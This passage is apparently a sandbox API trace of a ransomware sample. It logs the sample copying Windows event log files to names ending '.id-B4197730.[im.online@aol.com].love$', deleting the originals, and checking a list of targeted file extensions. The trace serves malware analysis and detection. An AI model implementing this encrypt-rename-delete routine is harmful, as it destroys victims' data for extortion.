dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0226.696] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.696] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0226.696] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0226.696] GetLastError () returned 0x0 [0226.696] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.037] WriteFile (in: hFile=0x460, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.040] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.040] WriteFile (in: hFile=0x460, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x160, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x160, lpOverlapped=0x0) returned 1 [0227.040] SetEndOfFile (hFile=0x460) returned 1 [0227.040] CloseHandle (hObject=0x460) returned 1 [0227.044] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.044] SetEndOfFile (hFile=0x45c) returned 1 [0227.046] CloseHandle (hObject=0x45c) returned 1 [0227.046] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.047] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-terminalservices-remoteconnectionmanager%4admin.evtx")) returned 1 [0227.050] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.050] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.050] lstrlenW (lpString=".doc") returned 4 [0227.050] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.050] lstrlenW (lpString=".docx") returned 5 [0227.050] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.050] lstrlenW (lpString=".pdf") returned 4 [0227.050] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.050] lstrlenW (lpString=".xls") returned 4 [0227.050] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.050] lstrlenW (lpString=".xlsx") returned 5 [0227.050] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.050] lstrlenW (lpString=".ppt") returned 4 [0227.050] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.050] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.050] lstrlenW (lpString=".zip") returned 4 [0227.050] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.050] lstrlenW (lpString=".rar") returned 4 [0227.050] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.050] lstrlenW (lpString=".bz2") returned 4 [0227.050] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.050] lstrlenW (lpString=".7z") returned 3 [0227.050] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.050] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.050] lstrlenW (lpString=".dbf") returned 4 [0227.050] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.051] lstrlenW (lpString=".1cd") returned 4 [0227.051] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.051] lstrlenW (lpString=".jpg") returned 4 [0227.051] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.051] lstrlenW (lpString=".doc") returned 4 [0227.051] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString=".docx") returned 5 [0227.051] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.051] lstrlenW (lpString=".pdf") returned 4 [0227.051] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString=".xls") returned 4 [0227.051] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString=".xlsx") returned 5 [0227.051] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.051] lstrlenW (lpString=".ppt") returned 4 [0227.051] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.051] lstrlenW (lpString=".zip") returned 4 [0227.051] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString=".rar") returned 4 [0227.051] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.051] lstrlenW (lpString=".bz2") returned 4 [0227.051] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.052] lstrlenW (lpString=".7z") returned 3 [0227.052] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.052] lstrlenW (lpString=".dbf") returned 4 [0227.052] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.052] lstrlenW (lpString=".1cd") returned 4 [0227.052] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.052] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-TerminalServices-RemoteConnectionManager%4Admin.evtx") returned 78 [0227.052] lstrlenW (lpString=".jpg") returned 4 [0227.052] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.052] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.052] lstrlenW (lpString="Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 57 [0227.052] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0227.053] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0227.053] CloseHandle (hObject=0x45c) returned 1 [0227.054] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 0x20 [0227.054] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.054] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0227.054] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.054] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.054] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0227.055] GetLastError () returned 0x0 [0227.055] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.084] WriteFile (in: hFile=0x460, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.087] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.087] WriteFile (in: hFile=0x460, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x146, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x146, lpOverlapped=0x0) returned 1 [0227.087] SetEndOfFile (hFile=0x460) returned 1 [0227.087] CloseHandle (hObject=0x460) returned 1 [0227.091] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.091] SetEndOfFile (hFile=0x45c) returned 1 [0227.093] CloseHandle (hObject=0x45c) returned 1 [0227.093] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.093] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-volumesnapshot-driver%4operational.evtx")) returned 1 [0227.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.094] lstrlenW (lpString=".doc") returned 4 [0227.094] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.094] lstrlenW (lpString=".docx") returned 5 [0227.094] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.094] lstrlenW (lpString=".pdf") returned 4 [0227.094] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.094] lstrlenW (lpString=".xls") returned 4 [0227.094] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.094] lstrlenW (lpString=".xlsx") returned 5 [0227.094] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.094] lstrlenW (lpString=".ppt") returned 4 [0227.094] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.094] lstrlenW (lpString=".zip") returned 4 [0227.094] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.094] lstrlenW (lpString=".rar") returned 4 [0227.094] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.094] lstrlenW (lpString=".bz2") returned 4 [0227.094] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.094] lstrlenW (lpString=".7z") returned 3 [0227.094] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.094] lstrlenW (lpString=".dbf") returned 4 [0227.094] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.094] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.094] lstrlenW (lpString=".1cd") returned 4 [0227.095] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.095] lstrlenW (lpString=".jpg") returned 4 [0227.095] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.095] lstrlenW (lpString=".doc") returned 4 [0227.095] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString=".docx") returned 5 [0227.095] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.095] lstrlenW (lpString=".pdf") returned 4 [0227.095] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString=".xls") returned 4 [0227.095] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString=".xlsx") returned 5 [0227.095] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.095] lstrlenW (lpString=".ppt") returned 4 [0227.095] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.095] lstrlenW (lpString=".zip") returned 4 [0227.095] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString=".rar") returned 4 [0227.095] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString=".bz2") returned 4 [0227.095] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.095] lstrlenW (lpString=".7z") returned 3 [0227.095] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.096] lstrlenW (lpString=".dbf") returned 4 [0227.096] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.096] lstrlenW (lpString=".1cd") returned 4 [0227.096] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.096] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-VolumeSnapshot-Driver%4Operational.evtx") returned 65 [0227.096] lstrlenW (lpString=".jpg") returned 4 [0227.096] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.096] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.096] lstrlenW (lpString="Microsoft-Windows-Windows Defender%4WHC.evtx") returned 44 [0227.096] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0227.097] GetFileSizeEx (in: hFile=0x45c, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0227.097] CloseHandle (hObject=0x45c) returned 1 [0227.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 0x20 [0227.097] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x45c [0227.097] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.097] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.097] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460 [0227.098] GetLastError () returned 0x0 [0227.098] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.136] WriteFile (in: hFile=0x460, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 1 [0227.139] ReadFile (in: hFile=0x45c, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x0, lpOverlapped=0x0) returned 1 [0227.139] WriteFile (in: hFile=0x460, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x12c, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x12c, lpOverlapped=0x0) returned 1 [0227.140] SetEndOfFile (hFile=0x460) returned 1 [0227.140] CloseHandle (hObject=0x460) returned 1 [0227.144] SetFilePointerEx (in: hFile=0x45c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.144] SetEndOfFile (hFile=0x45c) returned 1 [0227.146] CloseHandle (hObject=0x45c) returned 1 [0227.146] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx.id-B4197730.[im.online@aol.com].love$", dwFileAttributes=0x20) returned 1 [0227.146] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx" (normalized: "c:\\logs\\microsoft-windows-windows defender%4whc.evtx")) returned 1 [0227.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.153] lstrlenW (lpString=".doc") returned 4 [0227.153] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.153] lstrlenW (lpString=".docx") returned 5 [0227.153] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.153] lstrlenW (lpString=".pdf") returned 4 [0227.153] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.153] lstrlenW (lpString=".xls") returned 4 [0227.153] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.153] lstrlenW (lpString=".xlsx") returned 5 [0227.153] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.153] lstrlenW (lpString=".ppt") returned 4 [0227.153] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.153] lstrlenW (lpString=".zip") returned 4 [0227.153] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.153] lstrlenW (lpString=".rar") returned 4 [0227.153] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.153] lstrlenW (lpString=".bz2") returned 4 [0227.153] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.153] lstrlenW (lpString=".7z") returned 3 [0227.153] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.153] lstrlenW (lpString=".dbf") returned 4 [0227.153] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.153] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.153] lstrlenW (lpString=".1cd") returned 4 [0227.153] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.154] lstrlenW (lpString=".jpg") returned 4 [0227.154] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.154] lstrlenW (lpString=".doc") returned 4 [0227.154] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString=".docx") returned 5 [0227.154] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1 [0227.154] lstrlenW (lpString=".pdf") returned 4 [0227.154] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString=".xls") returned 4 [0227.154] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString=".xlsx") returned 5 [0227.154] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1 [0227.154] lstrlenW (lpString=".ppt") returned 4 [0227.154] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.154] lstrlenW (lpString=".zip") returned 4 [0227.154] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString=".rar") returned 4 [0227.154] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString=".bz2") returned 4 [0227.154] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1 [0227.154] lstrlenW (lpString=".7z") returned 3 [0227.154] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1 [0227.154] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.155] lstrlenW (lpString=".dbf") returned 4 [0227.155] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1 [0227.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.155] lstrlenW (lpString=".1cd") returned 4 [0227.155] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1 [0227.155] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Windows Defender%4WHC.evtx") returned 52 [0227.155] lstrlenW (lpString=".jpg") returned 4 [0227.155] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1 [0227.155] lstrcmpiW (lpString1=".evtx", lpString2=".love$") returned -1 [0227.642] lstrlenW (lpString="Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx") returned 57 [0227.642] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.642] GetFileSizeEx (in: hFile=0x458, lpFileSize=0x346ff14 | out: lpFileSize=0x346ff14*=69632) returned 1 [0227.642] CloseHandle (hObject=0x458) returned 1 [0227.642] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx")) returned 0x20 [0227.643] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[im.online@aol.com].love$")) returned 0xffffffff [0227.643] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x458 [0227.643] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.643] SetFilePointerEx (in: hFile=0x458, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x346fec0 | out: lpNewFilePointer=0x0) returned 1 [0227.643] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-WinINet-Config%4ProxyConfigChanged.evtx.id-B4197730.[im.online@aol.com].love$" (normalized: "c:\\logs\\microsoft-windows-wininet-config%4proxyconfigchanged.evtx.id-b4197730.[im.online@aol.com].love$"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x42c [0227.644] GetLastError () returned 0x0 [0227.644] ReadFile (in: hFile=0x458, lpBuffer=0x3ca2020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x346fecc, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesRead=0x346fecc*=0x11000, lpOverlapped=0x0) returned 1 [0227.648] WriteFile (in: hFile=0x42c, lpBuffer=0x3ca2020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x346fc94, lpOverlapped=0x0 | out: lpBuffer=0x3ca2020*, lpNumberOfBytesWritten=0x346fc94*=0x11010, lpOverlapped=0x0) returned 